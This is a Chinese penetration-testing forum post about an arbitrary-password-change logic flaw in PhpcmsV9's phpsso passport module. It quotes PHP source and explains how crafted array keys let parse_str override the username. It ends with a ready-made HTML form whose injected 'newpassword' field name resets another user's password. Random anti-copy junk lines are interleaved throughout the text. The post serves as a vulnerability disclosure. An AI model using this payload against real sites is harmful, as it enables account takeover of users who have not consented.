中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
d) y7 `9 o9 ^1 m/ Q
9 e9 K9 c `5 @* Q- D$ D! O
' h7 V+ ?+ H3 f( K/ d
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
& Y0 l/ v- l- n
- @3 y" }4 H' T1 I& w* w! ?) O. |
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
) c3 p3 } [8 I2 p# G7 y
/ ~# \* t/ L* C w/ Z4 v
我把它留给了你们。
+ O. N2 B4 y+ B8 A8 N
不知道你们发现了它没有。
2 x1 S x+ |0 Z* m9 \$ H; O5 p/ q
" R) \, y5 m) Z, B# Q( _
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
1 o; W9 L7 W; @* u g: x0 K
, u* {5 e) N$ F5 B% ?
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" Q) S# _& s" R% r# m
5 }# G: p7 Q/ d! N* b6 O
也就是
& m- g4 k* j* w! t
5 I! ]& R- G R
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
( o4 W. J# b$ S1 N& a5 J9 \5 @
( ~1 q o/ b1 O" h5 f, D2 ]- P
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
% _6 U. `) S; }/ c0 L% k" \8 x
3 q* G! Q5 I8 Z6 N# h# U! {
3 U6 a4 W7 j5 ]/ A$ |
其实我们有这样的机会,看看代码,如下:
, s* B1 J2 }5 j/ J
7 E3 q% D+ L5 K* S6 U* r) ^
5 F, B; D! R. b/ N/ ~
public function auth_data($data) {
/ V8 M7 O# b& `! x, W6 j0 T
$s = $sep = '';
$ B6 @3 s0 f4 _: t5 Q
foreach($data as $k => $v) {
! O7 r/ y. Y% Q2 w: p
if(is_array($v)) {
. L Z0 @; L! K5 ]% _* \) E3 a
$s2 = $sep2 = '';
: w7 o) g. E' C# e
foreach($v as $k2 => $v2) {
. I" H. H# |3 G* h2 Q3 y
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
2 p5 n6 |) O& z5 } V0 P
$sep2 = '&';
8 F1 H, y" ]# i; \9 V
}
4 Z" p: S0 Z: m5 e
$s .= $sep.$s2;
5 R( }. ^! L6 Q: Q+ @6 q2 q6 L
} else {
6 r$ O0 ^3 l# Q5 t3 B& _0 u/ Y* @
$s .= "$sep$k=".$this->_ps_stripslashes($v);
* C' ~" v+ N/ y/ D) {7 t
}
$ G0 [; J( W8 s. A; J
$sep = '&';
' Y9 u% {% O. ~; @3 u
}
: N0 \" L `, h, q
+ O1 U# z) K! e/ s- A+ x% h
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
! j/ n5 x R3 g
return $auth_s;
) y* I8 N! i; F
}
/ o3 C4 n8 G4 Y; d6 x/ J7 R# p
% c8 T6 h( j; r* k5 q* B" S1 i: k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
$ |( |. g! k' N. F0 z, z: e
. ^$ L, n( O: J5 O& H
举个例子
/ m8 t( h$ r |3 ]" L; s
+ ?/ Y* z# c/ Q
$a[aaa=a&bbb] = 'a';
: g4 O# j V& _
# P; \% P2 z6 b4 W9 |! {. i
会变成aaa=a&bbb=a
# t5 A9 i% e# F$ E
( Y8 B- q2 C4 b
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
6 B( p% ]3 p* P0 a
! l& O' O. g& g& C- u1 I7 i9 H" Y
这个时候,我们可以再去看一个函数。
: q F& z6 L! c/ ~! M! C
3 a( E. E9 @! q% C R* w( }
就在这个文件内:
4 I4 t- g) `* W5 c
; |, @6 a9 |$ k2 T
4 ]$ N9 R+ A4 R3 [0 ^
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) N. m" w# l8 o7 e1 G7 U2 I7 M3 z
if($email && !$this->_is_email($email)) {
* |, Z! `. u, O7 `% h
return -4;
& W4 N! ~' D9 @% r' Y6 T7 M
}
; z& w2 G+ l9 q2 E K/ g
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
1 v6 O5 P0 u+ I" L( q
}
; ?! m" ?7 \; N, m. ~: g# @
% l2 U9 J% \; v% F% c) K
这是向通行证发了这样一个请求。
& \7 C2 y1 L& r! [' B
1 m; K4 |2 U" P! ]' v
我们再跟到通信证代码里去看看,就会有所发现。
& u- f5 S2 `- ]2 V% d# Y8 Y: ]
- L1 P1 N% H# w' H( }2 n1 W7 j$ W% S7 r
( _. i) Y+ ^+ l1 Q
public function edit() {
" q3 l5 w5 ~* O s
//能省就省,太长了不是吗?
2 b7 V, d) p- D% Y1 R! u; A+ [
2 [7 {6 j6 O; J+ l
if($this->username) {
( Y x7 @; W3 z1 I# `" n
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
# {; U- ~( `$ C4 M. S- v
$res = $this->db->update($data, array('username'=>$this->username));
; y( F/ y* L7 x" z8 u" Y A7 s9 K
} else {
* R/ X/ J* [9 h# h/ e
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
8 T( \ B% H( t% R- P$ M0 O# b6 p" }
$res = $this->db->update($data, array('uid'=>$this->uid));
; X# Q) K: G, r7 \: m
}
. m- y2 K3 k# U; ] r5 v- K
) x; s+ T1 D, A8 Z' b. X
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
! y8 V! }, x1 Q4 C
8 c% Y+ _6 p; a( V( p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; k$ v6 P/ |; ]' m* r
+ g$ g* C# V% E3 d9 O& ?
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ c' |" ]2 V. p' H( G+ H4 R( f
: u j1 q# J0 L8 R/ K* K1 [( }
我当然找到了:
8 h% z; ?2 }) m
phpcms9/phpcms/modules/member/index.php
1 r- V, O4 A+ f# w S
( D$ i& x/ T8 W2 D
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
0 X- a* C7 m" f: R" l% O; J
t7 g& p! H2 F# `" a4 N; b4 B
然后就没有然后了。
" `1 n8 {5 B7 S( c: o
9 m7 J) Y% ?. s( r6 {
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
* Q9 H6 L7 x' L& k
<table width="100%" cellspacing="0" class="table_form">
2 ]% L( R1 Y4 u- ~) @( C/ |/ ~2 N7 O
<tr>
+ {9 a2 i6 M! y! S2 Y& p; J
<th width="80">邮箱:</th>
, {( M; ? I( _; H) I# E2 q4 z9 }
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
/ R! c* g3 D3 v$ } |
</tr>
2 u& S3 C8 \5 B4 H7 g, p
<tr>
0 d& ? N) y6 V+ L" X" ~9 e" a
<th width="80">原密码:</th>
% F/ L2 t1 s: Q3 l
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
9 O# \6 x+ k: S) D1 ]' \& C% x
</tr>
# X7 ~) r; A$ L9 }- x2 _9 t1 p
<tr>
6 r/ q3 ?+ i5 _2 Y
<th>新密码:</th>
& C% W# q( ^; E
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
q+ A- U; X1 D6 S9 Z4 Q
</tr>
' I" F! R2 e! l3 }
<th></th>
% u; U8 a/ s9 n H
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
/ y! F; v5 e0 Y1 R0 F/ C" T
</tr>
8 B7 b5 }* U0 G# B, R+ J1 }
</table>
; B2 a6 u) R5 L+ I" X3 a; F) k
0 c2 p9 \$ G$ Q& A* @% T
- j- U0 U4 Y4 w9 y" Q
</form>
- p( T5 ?( d& S% Q4 z8 N0 E
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2